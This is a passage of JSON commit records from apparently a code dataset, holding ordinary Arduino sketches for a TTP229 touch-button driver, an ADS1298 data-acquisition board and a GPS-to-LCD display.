ANDed with mask 0xF gives us the one's place, \n \/\/ step 2) Second parenthesis: move the ten's place value over by multiplying by ten\n \/\/ step 3) Add the first parenthesis group to the second parenthesis group\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware_Test\/Firmware_Test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"40717049f62f420651a9516b9fc57ac4ba38ea31","subject":"Arduino touch added","message":"Arduino touch added\n","repos":"eivhyl\/slackathon,eivhyl\/slackathon,eivhyl\/slackathon","old_file":"unik_teknologihuset\/unik_teknologihuset.ino\/unik_teknologihuset.ino.ino","new_file":"unik_teknologihuset\/unik_teknologihuset.ino\/unik_teknologihuset.ino.ino","new_contents":"#include <SPI.h>\n\n#if 0\n #define DEBUG_BUTTON16(a) (a)\n#else\n #define DEBUG_BUTTON16(a)\n#endif\n\n#if 1\n #define DEBUG_STATUS(a) (a)\n#else\n #define DEBUG_STATUS(a)\n#endif\n\n\n#pragma pack(push, 0)\n\n\/\/ TBD: Replace with proper interrupt pin macros. It does not seem to be defined for atmega328p or I am incapable of finding it\n#ifndef INT0_PIN\n#ifdef __AVR_ATmega328P__\n#define INT0_PIN 2\n#else\n #warning Define INT0_PIN for this microcontroller to use interrupt\n#endif\n#endif\n\n#ifndef INT1_PIN \n#ifdef __AVR_ATmega328P__\n#define INT1_PIN 3\n#else\n #warning Define INT1_PIN for this microcontroller to use interrupt\n#endif\n#endif\n\nuint32_t g_intCount = 0;\n\nstruct CTtp229ButtonEvent\n{\n uint8_t ButtonNumber : 5; \/\/ ButtonNumber != 0 : Event is present. if equals 0, no event is received\n uint8_t IsButtonReleased : 1; \/\/ True = Button is pressed. False = Button is released\n};\n\nclass CTtP229TouchButton\n{\n struct CTtp229Prop\n {\n uint16_t SclPin : 6;\n uint16_t SdoPin : 6;\n uint16_t Is16Button : 1;\n#if defined(INT0_PIN) || defined(INT1_PIN)\n uint16_t HasPendingInterrupt : 1;\n uint16_t IgnoreNextEvent : 1; \/\/ When reading 16th key and if it is pressed, SDO stays low for 2ms.\n \/\/ If we enable interrupt before that, then it will trigger after 2ms, only to find the same condition.\n \/\/ To make things worse, at the end of reading the pin will stay low and generate another interrupt.\n \/\/ TBD: One possible fix is to send more pulses to make it roll over to HIGH. Have to find out if all 16 keys can be pressed in multi-key scenario (NOT supported yet). \n uint16_t UnhandledButtonPresses;\n#endif\n uint16_t PreviousButtonValue;\n };\n \n static CTtp229Prop g_prop;\n\n \/\/\n \/\/ Internal function that captures the data from TTP229 on which key is pressed.\n \/\/ Currently, this function only supports one key being pressed. Multi-key press needs to be added later.\n \/\/ \n \/\/ Return Value : Bit field of buttons pressed\n \/\/\n static uint16_t GetPressedButton()\n {\n DEBUG_BUTTON16(Serial.println(\"GetPressedButton : Enter \"));\n uint16_t buttonsPressed = 0;\n \/\/ Need to generate the LOW and then HIGH on the clock and read the value from data when clock is back high.\n \/\/ As per the specification, the TTP229 chip can support 512Khz. This translates to approximately 2us for a cycle. So introducing clock with fall and raise each of 1us.\n uint8_t maxCnt = g_prop.Is16Button ? 16 : 8;\n for(uint8_t ndx = 0; ndx < maxCnt; ndx++ )\n {\n digitalWrite(g_prop.SclPin, LOW);\n delayMicroseconds(1);\n digitalWrite(g_prop.SclPin, HIGH);\n \n int val = digitalRead(g_prop.SdoPin);\n\n delayMicroseconds(1); \/\/ Technically this can be moved after the if for most atmel microcontrollers. But if there is a really fast one (now\/future) and the next call to GetPressedButton made immediately, we might overclock TTP229. Being safe here\n\n if( LOW == val )\n {\n buttonsPressed |= (1 << ndx);\n } \n }\n \n DEBUG_BUTTON16(Serial.print(\"GetPressedButton : Exit. Return Value : \")); DEBUG_BUTTON16(Serial.println(buttonsPressed));\n\n return buttonsPressed;\n }\n \n#if defined(INT0_PIN) || defined(INT1_PIN)\n \/\/ Detaching the interrupt after receiving the data can cause problem in sleeping. If the interrupt is not properly dispatched, it can lead to permanent sleep and can't wake up from button\n static void HandleButtonEvent()\n {\n if( g_prop.IgnoreNextEvent )\n {\n \/\/ We ignored an event. Now we will accept the event\n g_prop.IgnoreNextEvent = false;\n }\n else\n {\n g_prop.HasPendingInterrupt = true;\n g_intCount++;\n }\n }\n \n static void SetInterruptHandler()\n {\n#ifdef INT0_PIN \n if( INT0_PIN == g_prop.SdoPin ) \n {\n DEBUG_BUTTON16(Serial.println(\"Configure : With interrupt 0\"));\n EIFR = 0x01; \/\/ Clear INTF0 flag\n attachInterrupt(0, HandleButtonEvent, RISING); \/\/ The pin goes down for 93us and then raises that is when the device is ready (technically after 10us) \n }\n#endif \n\n#ifdef INT1_PIN \n if( INT1_PIN == g_prop.SdoPin ) \n {\n DEBUG_BUTTON16(Serial.println(\"Configure : With interrupt 1\"));\n EIFR = 0x02; \/\/ Clear INTF1 flag\n attachInterrupt(1, HandleButtonEvent, RISING); \/\/ The pin goes down for 93us and then raises that is when the device is ready (technically after 10us) \n }\n#endif \n }\n \n static void RemoveInterruptHandler()\n {\n#ifdef INT0_PIN\n if( INT0_PIN == g_prop.SdoPin ) \n {\n detachInterrupt(0);\n }\n#endif\n\n#ifdef INT1_PIN \n if( INT1_PIN == g_prop.SdoPin ) \n {\n detachInterrupt(1);\n }\n#endif\n }\n#endif\n\n \/\/\n \/\/ Returns button number being pressed. High bit indicates more changes present\n \/\/\n static uint8_t GetButtonNumberFromFlag(uint16_t buttonsChanged)\n {\n uint16_t flag = 1;\n for(uint8_t ndx = 1; ndx <=16; ndx++, flag <<= 1)\n {\n if( (buttonsChanged & flag) != 0 )\n {\n if( (buttonsChanged & ~flag) != 0 )\n {\n \/\/ Some other bit is present\n ndx |= 0x80;\n }\n \n return ndx;\n }\n }\n \n return 0;\n }\n \n public:\n \/\/\n \/\/ Setup the TTP229 Touch button on this input.\n \/\/\n \/\/ Inputs:\n \/\/ sclPin - Clock Pin of the button (3rd from left on button, connected to arduino's digital pin number)\n \/\/ sdoPin - Data pin to read from the button (4th pin from left on button, connected to arduino's digital pin number)\n \/\/ is16Button - true = 16 buttons board. false = 8 button board\n \/\/\n static void Configure(int sclPin, int sdoPin, bool is16Button = true)\n {\n DEBUG_BUTTON16(Serial.println(\"Configure : Enter\")); \n \n g_prop.SclPin = sclPin;\n g_prop.SdoPin = sdoPin;\n g_prop.Is16Button = is16Button;\n\n g_prop.PreviousButtonValue = 0;\n\n \/\/ Configure clock as output and hold it high\n pinMode( sclPin, OUTPUT ); \n digitalWrite(sclPin, HIGH); \n \n \/\/ Configure data pin as input\n pinMode( sdoPin, INPUT);\n \n DEBUG_BUTTON16(Serial.print(\"Button Configuration\\n\\rSCL Pin : \"));\n DEBUG_BUTTON16(Serial.println(sclPin));\n DEBUG_BUTTON16(Serial.print(\"SDO Pin : \"));\n DEBUG_BUTTON16(Serial.println(sdoPin));\n DEBUG_BUTTON16(Serial.print(\"Number of Keys : \"));\n DEBUG_BUTTON16(Serial.println(is16Button ? 16 : 8));\n\n#if defined(INT0_PIN) || defined(INT1_PIN)\n g_prop.UnhandledButtonPresses = 0;\n g_prop.HasPendingInterrupt = false;\n g_prop.IgnoreNextEvent = false;\n SetInterruptHandler();\n#endif\n\n DEBUG_BUTTON16(Serial.println(\"Configure : Exit\"));\n }\n \n \/\/\n \/\/ Get the current status from the 16 button touch device\n \/\/\n \/\/ Return Value : Returns the bitflag of the keys pressed. returns 0, if no key is pressed.\n \/\/\n static uint16_t GetButtonStatus()\n {\n#if defined(INT0_PIN) || defined(INT1_PIN)\n g_prop.HasPendingInterrupt = 0;\n#endif\n\n uint16_t returnValue = GetPressedButton();\n \n#if defined(INT0_PIN) || defined(INT1_PIN)\n returnValue |= g_prop.UnhandledButtonPresses; \/\/ and also include any data that was received that we have not sent yet.\n g_prop.UnhandledButtonPresses = 0;\n#endif\n\n g_prop.PreviousButtonValue = returnValue;\n\n return returnValue; \n }\n \n \/\/\n \/\/ Gets the event from the button. This is useful for monitoring press and release only. \n \/\/ Each button press will generate max 2 events, one for press and another for release. When the button is press and held, this method will return no event.\n \/\/ If the calls were not made often enough, the events could be missed. For instance, you might get 2 pressed, followed by 4 pressed, which automatically means 2 released in single key mode.\n \/\/\n \/\/ Return Value : if ButtonNumber is 0, then no event\n \/\/\n static CTtp229ButtonEvent GetButtonEvent()\n {\n CTtp229ButtonEvent returnValue = {0, 0};\n uint8_t buttonNumber;\n\n DEBUG_BUTTON16(Serial.print(\"Old Value : \"));\n DEBUG_BUTTON16(Serial.println(g_prop.PreviousButtonValue));\n\n\n#if defined(INT0_PIN) || defined(INT1_PIN)\n if(\n#if defined(INT0_PIN)\n INT0_PIN == g_prop.SdoPin \n#endif\n#if defined(INT0_PIN) && defined(INT1_PIN)\n ||\n#endif\n#if defined(INT1_PIN)\n INT1_PIN == g_prop.SdoPin \n#endif\n ) \n {\n \/\/ Interrupts are used. Check if we have interrupt\n if( g_prop.HasPendingInterrupt )\n {\n RemoveInterruptHandler(); \/\/ From this point upto SetInterruptHandler is called, ensure there is no return path that will leave without SetInterruptHandler\n }\n else\n {\n DEBUG_BUTTON16(Serial.println(\"GetButtonEvent: No interrupt pending\"));\n return returnValue;\n }\n }\n#endif\n\n uint16_t currValue = GetPressedButton();\n\n#if defined(INT0_PIN) || defined(INT1_PIN)\n currValue |= g_prop.UnhandledButtonPresses; \/\/ Get any previously returned but not returned now values also into the mix\n#endif\n\n uint16_t changes = g_prop.PreviousButtonValue ^ currValue;\n uint16_t pressed = (changes & currValue);\n uint16_t released = (changes & g_prop.PreviousButtonValue);\n\n \/\/ First check if any key is that is pressed and generate press event\n if( 0 != pressed )\n {\n buttonNumber = GetButtonNumberFromFlag(pressed);\n returnValue.ButtonNumber = (buttonNumber & 0x7F);\n \n uint16_t mask = (1 << (returnValue.ButtonNumber -1));\n \/\/ set the new notified button into prev\n g_prop.PreviousButtonValue |= mask;\n \n#if defined(INT0_PIN) || defined(INT1_PIN)\n g_prop.UnhandledButtonPresses = currValue;\n g_prop.UnhandledButtonPresses = currValue & ~g_prop.PreviousButtonValue; \/\/ clear unhandled for this bit, just in case\n#endif\n }\n else if(0 != released)\n {\n buttonNumber = GetButtonNumberFromFlag(released);\n returnValue.ButtonNumber = (buttonNumber & 0x7F);\n\n \/\/ The unmatching bit whose previous value of 1 means, it is released\n returnValue.IsButtonReleased = true;\n \n \/\/ clear the notified release button\n g_prop.PreviousButtonValue &= ~(1 << (returnValue.ButtonNumber -1));\n }\n\n \n#if defined(INT0_PIN) || defined(INT1_PIN)\n \n if(((!returnValue.IsButtonReleased || (0 == pressed)) \/\/ We handle release but no pending press\n && ((buttonNumber & 0x80) == 0 )) \/\/ or more button changes are detected\n || (returnValue.ButtonNumber == 0) ) \/\/ safety in case interrupt and data mismatch or code bug\n {\n \/\/ No more button notification pending\n g_prop.HasPendingInterrupt = false;\n }\n else\n {\n DEBUG_BUTTON16(Serial.println(\"not Clearing interrupt\"));\n }\n\n g_prop.IgnoreNextEvent = digitalRead(g_prop.SdoPin) == LOW; \/\/ If the pin is still low at the end of reading, ignore next event which is for data finished raise\n DEBUG_BUTTON16(Serial.print(g_prop.IgnoreNextEvent ? \"Ignoring next event\\n\\r\" : \"Not ignoring\\n\\r\"));\n \n \/\/ All the data has been read. Now reactivate the interrupt\n SetInterruptHandler();\n#endif\n \n DEBUG_BUTTON16(Serial.print(\"currValue : \"));\n DEBUG_BUTTON16(Serial.println(currValue));\n DEBUG_BUTTON16(Serial.print(\"Changes : \"));\n DEBUG_BUTTON16(Serial.println(changes));\n DEBUG_BUTTON16(Serial.print(\"Button N : \"));\n DEBUG_BUTTON16(Serial.println(buttonNumber));\n DEBUG_BUTTON16(Serial.print(\"Unhandled : \"));\n DEBUG_BUTTON16(Serial.println(g_prop.UnhandledButtonPresses));\n DEBUG_BUTTON16(Serial.print(\"ButtonRelease : \"));\n DEBUG_BUTTON16(Serial.println(returnValue.IsButtonReleased));\n DEBUG_BUTTON16(Serial.print(\"buttonNumber : \"));\n DEBUG_BUTTON16(Serial.println(buttonNumber));\n DEBUG_BUTTON16(Serial.print(\"Pending interrupts :\"));\n DEBUG_BUTTON16(Serial.println(g_prop.HasPendingInterrupt));\n \n return returnValue;\n }\n \n#if defined(INT0_PIN) || defined(INT1_PIN)\n static bool HasEvent()\n {\n#if defined(INT0_PIN)\n if( INT0_PIN == g_prop.SdoPin )\n {\n return g_prop.HasPendingInterrupt;\n }\n#endif\n\n#if defined(INT1_PIN)\n if( INT1_PIN == g_prop.SdoPin )\n {\n return g_prop.HasPendingInterrupt;\n }\n#endif\n \n return true;\n }\n#endif\n\n};\n\nCTtP229TouchButton::CTtp229Prop CTtP229TouchButton::g_prop;\nCTtP229TouchButton g_ttp229Button;\n\n#define TTP16Button g_ttp229Button\n#pragma pack(pop)\n\nvoid setup()\n{\n Serial.begin(115200);\n \n DEBUG_STATUS(Serial.println(\"====================================================================\"));\n DEBUG_STATUS(Serial.println(\"Button Input tester started\")); \n DEBUG_STATUS(Serial.println(\"====================================================================\"));\n \n TTP16Button.Configure(7, 2);\n}\n\nvoid TestStatus()\n{\n uint8_t buttonNumber = TTP16Button.GetButtonStatus();\n \n if( 0 != buttonNumber )\n {\n DEBUG_STATUS(Serial.print(\"Button Pressed : \"));\n DEBUG_STATUS(Serial.println(buttonNumber));\n }\n\n delayMicroseconds(2500); \/\/ TTP229 document says it will reset the output if 2ms idle + little bit safety\n}\n\nvoid TestEvent()\n{\n#if defined(INT0_PIN) || defined(INT1_PIN)\n if( TTP16Button.HasEvent())\n#endif\n {\n CTtp229ButtonEvent buttonEvent = TTP16Button.GetButtonEvent();\n \n if( 0 != buttonEvent.ButtonNumber )\n {\n if( buttonEvent.IsButtonReleased )\n {\n DEBUG_STATUS(Serial.print(\"Button Released: \"));\n }\n else\n {\n DEBUG_STATUS(Serial.print(\"Button Pressed : \"));\n }\n DEBUG_STATUS(Serial.println(buttonEvent.ButtonNumber));\n }\n else\n {\n#if defined(INT0_PIN) || defined(INT1_PIN)\n DEBUG_STATUS(Serial.println(\"Are you not using interrupt? Should never come here for interrupt based system.\"));\n#endif\n }\n \n \/\/Serial.print(\"CurrentTime : \"); Serial.println(millis());\n delayMicroseconds(2500); \/\/ TTP229 document says it will reset the output if 2ms idle + little bit safety. Not required if using interrupts\n }\n \n}\n\nvoid loop()\n{\n \/\/TestStatus();\n TestEvent();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'unik_teknologihuset\/unik_teknologihuset.ino\/unik_teknologihuset.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5d38ba2841762c54b0b6b95fcbe698394a08c1d6","subject":"Sketch Arduino","message":"Sketch Arduino\n","repos":"ArcesUnibo\/creamino,ArcesUnibo\/creamino,ArcesUnibo\/creamino,ArcesUnibo\/creamino,ArcesUnibo\/creamino","old_file":"SW\/Arduino\/ADS1298_ArduinoDue\/ADS1298_ArduinoDue.ino","new_file":"SW\/Arduino\/ADS1298_ArduinoDue\/ADS1298_ArduinoDue.ino","new_contents":"\/\/ include the libraries:\n\n#include <SPI.h>\n#include \"ADS1298.h\" \/\/find all definition for ADS1298\n\n\/\/Type\nADS1298 ADS1298device;\n\n\/\/ global variable\nint transmit = 0;\nvolatile int interrupt_pin2 = 0;\nint connect;\nbyte SampleRate[1];\nbyte ModeADS[1];\nbyte ADSNum[1];\nbyte ChipSelect[1];\nbyte TriggerWord[1];\nbyte Gain[1];\n\nboolean toggle = 0;\nString ConnectingWord;\n\nvoid setup() {\n\n ModeADS[0] = 0x00;\n ADSNum[0] = 0x00;\n \n connect=0; \/\/Disconnect from a user Interface (Java, C++) \n attachInterrupt(2, SPIInterrupt, FALLING); \/\/Interrupt on ArduinoDue \/\/ 2 menas pin 2\n \n Serial.begin(9600); \/\/USB programming port Init --> for trigger\n Serial.flush();\n \n SerialUSB.begin(256000); \/\/ USB Initialization\n SerialUSB.flush();\n delay(100);\n\n pinMode(13, OUTPUT); \/\/ LED that informs you if the device is on or off \n digitalWrite(13, toggle);\n TriggerWord[0] = 0x00; \n}\n\n\n\/\/interrupt function IR2\nvoid SPIInterrupt() {\n interrupt_pin2 = 1;\n}\n\nvoid loop() {\n\n \/\/Arduino Connection and ADC initialization\n while(!connect){\n if(SerialUSB.available()>6){ \/\/ Check if data are available on the serial bus\n ConnectingWord = SerialUSB.readString(); \/\/Read data\n if(ConnectingWord.equals(\"Connect\")){ \/\/Check the connecting word\n connect = 1;\n SerialUSB.println(\"Ready\"); \/\/ Send the ack word \/\/println-->write\n delay(500);\n \n while(!SerialUSB.available()>3); \/\/ Wait the Sample Rate\n \n SerialUSB.readBytes(SampleRate,1); \/\/Read the sample rate;\n SerialUSB.readBytes(ModeADS,1); \/\/Read the Mode;\n SerialUSB.readBytes(ADSNum,1); \/\/Read the number of ADS;\n SerialUSB.readBytes(ChipSelect,1); \/\/Read the Chip Select;\n SerialUSB.readBytes(Gain,1); \/\/Read the Chip Select;\n \n delay(100);\n \n ADS1298device.initialize(SampleRate[0],ADSNum[0],ChipSelect[0]); \/\/Initialize the ADS\n delay(100);\n\n ADS1298device.reINITforMoreADC(SampleRate[0], ModeADS[0]); \/\/Configure the ADS channels\n delay(100); \n \n ADS1298device.START(); \/\/Start conversion\n delay(100);\n\n if (Serial.available() > 0) \/\/Flush the Trigger buffer\n Serial.read();\n\n toggle = !toggle;\n digitalWrite(13, toggle);\n } \n } \n }\n\n \/\/ADC Acquisition\n \n if(interrupt_pin2==1){\n ADS1298device.RDATA();\n ADS1298device.writeADSchannelData(TriggerWord[0]);\n interrupt_pin2 = 0; \n TriggerWord[0] = 0x00;\n }\n \n \/\/Arduino Connection and ADC initialization\n \n if(connect){\n if(SerialUSB.available()>9){\n ConnectingWord = SerialUSB.readStringUntil('\\0');\n \n if(ConnectingWord.equals(\"Disconnect\")){\n toggle = !toggle;\n digitalWrite(13, toggle);\n connect = 0;\n ADS1298device.STOP();\n delay(100);\n SerialUSB.flush();\n }\n }\n \n if(Serial.available()){\n Serial.readBytes(TriggerWord,1);\n Serial.println(TriggerWord[0]);\n } \n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SW\/Arduino\/ADS1298_ArduinoDue\/ADS1298_ArduinoDue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3564d218bef8f2ac39636a4e0572babe4fc80d63","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/GPSLCD,Grommet123\/GPSLCD","old_file":"GPSLCD.ino","new_file":"GPSLCD.ino","new_contents":"\/* GPS LCD\n\n By GK Grotsky\n 8\/30\/16\n\n This program communicate with the u-blox NEO-6M GPS module\n through a software serial interface. It then displays certain GPS\n parameters on a I2C 16x2 (or 20x4) character LCD display module. The\n GPS messages are received by the on-board Arduino UART circuit using\n the SoftwareSerial library. It then uses the TinyGPS++ library to\n decode the GPS NMEA messages. The parameters are then displayed on a\n 16x4 (or 20x4) LCD using the LiquidCrystal_I2C library.\n\n Note: Both the 16x2 and 20x4 LCDs are supported as these are the most popular\n LCDs available.\n*\/\n#include \"GPSLCD.h\"\n#include <TinyGPS++.h>\n#include <SoftwareSerial.h>\n#include <LiquidCrystal_I2C.h>\n\nTinyGPSPlus gps; \/\/ This is the GPS object that will pretty much do all the grunt work with the NMEA data\nSoftwareSerial GPSModule(10, 11); \/\/ RX, TX\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin); \/\/ Initializes class variables and defines the I2C address of the LCD\nbool dataValid; \/\/ Data is valid from the GPS module\nGPSStruct GPSData; \/\/ Holds the GPS data coming from the GPS module\n\n\/\/ The setup (runs once at start up)\nvoid setup()\n{\n pinMode(BACKLIGHT_SW, INPUT);\n\n#ifdef _16x2\n \/\/ Selects either speed or heading to be displayed\n pinMode(SPEED_ALTITUDE_SW, INPUT);\n#else\n \/\/ Selects either altitude or the date\/time to be displayed\n pinMode(ALTITUDE_DATE_TIME_SW, INPUT);\n#endif\n\n#ifdef DEBUG\n Serial.begin(9600); \/\/ This opens up communications to the serial monitor in the Arduino IDE\n Serial.flush();\n#endif\n GPSModule.begin(9600); \/\/ This opens up communications to the software serial tx and rx lines\n GPSModule.flush();\n\n lcd.begin (COLUMN, ROW); \/\/ Defines LCD type\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); \/\/ Sets the pin to control the backlight\n lcd.clear(); \/\/ Clear the LCD\n lcd.home (); \/\/ Go to the home position on the LCD\n} \/\/ setup\n\n\/\/ The loop (runs forever and a day :-))\nvoid loop()\n{\n static uint32_t pastSatellites = 0;\n static byte initializingCounter = 0;\n static unsigned long prevInitializationTime = INITIALIZATION_INTERVAL;\n static unsigned long prevCreditTime = TOGGLETIME_INTERVAL;\n static unsigned long prevInvalidSatellitesTime = TOGGLETIME_INTERVAL;\n static bool leftInitialization = false;\n static bool creditToggle = true;\n static bool InvalidSatellitesToggle = true;\n#ifndef _16x2\n static unsigned long prevDateTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHeadingTime = TOGGLETIME_INTERVAL;\n static bool dateTimeToggle = true;\n static bool headingToggle = true;\n#endif\n#ifdef DEBUG\n static unsigned long prevDebugTime = 0;\n#endif\n#ifdef DATA_VALID_OVERRIDE\n const bool dataValidOverride = true; \/\/ Set true to override data valid for debugging\n#else\n const bool dataValidOverride = false; \/\/ Set false not to override data valid\n#endif\n#ifdef BACKLIGHT_OVERRIDE\n \/\/ Override LCD backlight switch\n \/\/ Force LCD backlight on\/off\n lcd.setBacklight(BACKLIGHT_ONOFF);\n#else\n \/\/ Turn LCD backlight on\/off\n lcd.setBacklight(digitalRead(BACKLIGHT_SW));\n#endif\n unsigned long now = millis();\n\n while (GPSModule.available()) \/\/ While there are characters to come from the GPS\n {\n bool b = gps.encode(GPSModule.read()); \/\/ This feeds the serial NMEA data into the GPS library one char at a time\n }\n\n \/\/ Get the GPS data valid flags\n dataValid =\n gps.location.isValid() &&\n gps.speed.isValid() &&\n gps.altitude.isValid() &&\n gps.course.isValid() &&\n gps.date.isValid() &&\n gps.time.isValid() &&\n gps.satellites.isValid();\n\n \/\/ Check if the GPS data is valid or data valid override is set (for debugging)\n if (dataValid || dataValidOverride) {\n#ifndef DATA_VALID_OVERRIDE\n \/\/ Store the real GPS data\n GPSData.satellites = gps.satellites.value();\n GPSData.lat = gps.location.lat();\n GPSData.lon = gps.location.lng();\n GPSData.speed = gps.speed.mph();\n GPSData.altitude = gps.altitude.feet();\n#ifndef _16x2\n GPSData.heading = gps.course.deg();\n GPSData.year = gps.date.year();\n GPSData.month = gps.date.month();\n GPSData.day = gps.date.day();\n GPSData.hour = gps.time.hour();\n GPSData.minute = gps.time.minute();\n GPSData.second = gps.time.second();\n#endif \/\/ #ifndef _16x2\n#else \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Store the fake GPS data (for debugging)\n GPSData.satellites = 0; \/\/ Invalid satellites\n GPSData.lat = 39.16d; \/\/ East coast\n GPSData.lon = -77.07d; \/\/ \"\n GPSData.speed = 55.0d;\n GPSData.altitude = 555.0d;\n#ifndef _16x2\n GPSData.heading = 60.0d; \/\/ ENE or NE (16 cardinal points or 8 cardinal points)\n GPSData.year = 2016;\n GPSData.month = 11; \/\/ Day before ST starts\n GPSData.day = 5; \/\/ \"\n GPSData.hour = 23; \/\/ 7pm my local time\n GPSData.minute = 10;\n GPSData.second = 25;\n#endif \/\/ #ifndef _16x2\n#endif \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Clear the screen once when leaving initialization\n if (!leftInitialization) {\n leftInitialization = true;\n lcd.clear(); \/\/ Clear the LCD\n }\n \/\/ Display the latest info from the gps object which it derived from the data sent by the GPS unit\n \/\/ Send data to the LCD\n#ifdef _16x2 \/\/------------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (11, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 4) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n if ((digitalRead(SPEED_ALTITUDE_SW))) {\n lcd.setCursor (12, 1);\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra char\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n if (GPSData.altitude <= 99.9) {\n lcd.setCursor (14, 1);\n }\n else {\n lcd.setCursor (13, 1);\n }\n lcd.print((int16_t)GPSData.altitude); \/\/ Altitude\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(SPEED_ALTITUDE_SW)))\n#else \/\/ 20x4 ----------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (15, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 3) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n#ifndef CONVERT_TO_LOCAL\n \/\/ Only display if time\/date is selected\n if (!(digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\" \"); \/\/ Clear the extra chars\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n if (IsDST(GPSData.day, GPSData.month, DOW)) {\n lcd.print(\"DST\");\n }\n else {\n lcd.print(\" ST\");\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n lcd.setCursor (0, 2); \/\/ Go to 3rd line\n lcd.print(\"Spd: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n lcd.setCursor (12, 2);\n lcd.print(\"Hdg: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n \/\/ Toggle heading every TOGGLETIME_INTERVAL seconds\n if (now - prevHeadingTime > TOGGLETIME_INTERVAL) {\n prevHeadingTime = now;\n if (headingToggle) { \/\/ Display cardinal heading\n headingToggle = false;\n lcd.print(cardinal(GPSData.heading));\n }\n else { \/\/ Display degrees heading\n headingToggle = true;\n lcd.print((int16_t)GPSData.heading);\n if (GPSData.heading <= 99.9) lcd.print(\" \"); \/\/ Clear the extra char\n } \/\/ if (headingToggle)\n } \/\/ if (now - prevHeadingTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.speed < SPEED_CUTOUT)\n lcd.setCursor (0, 3); \/\/ Go to 4th line\n if ((digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\"Alt: \");\n lcd.print((int16_t)GPSData.altitude);\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > 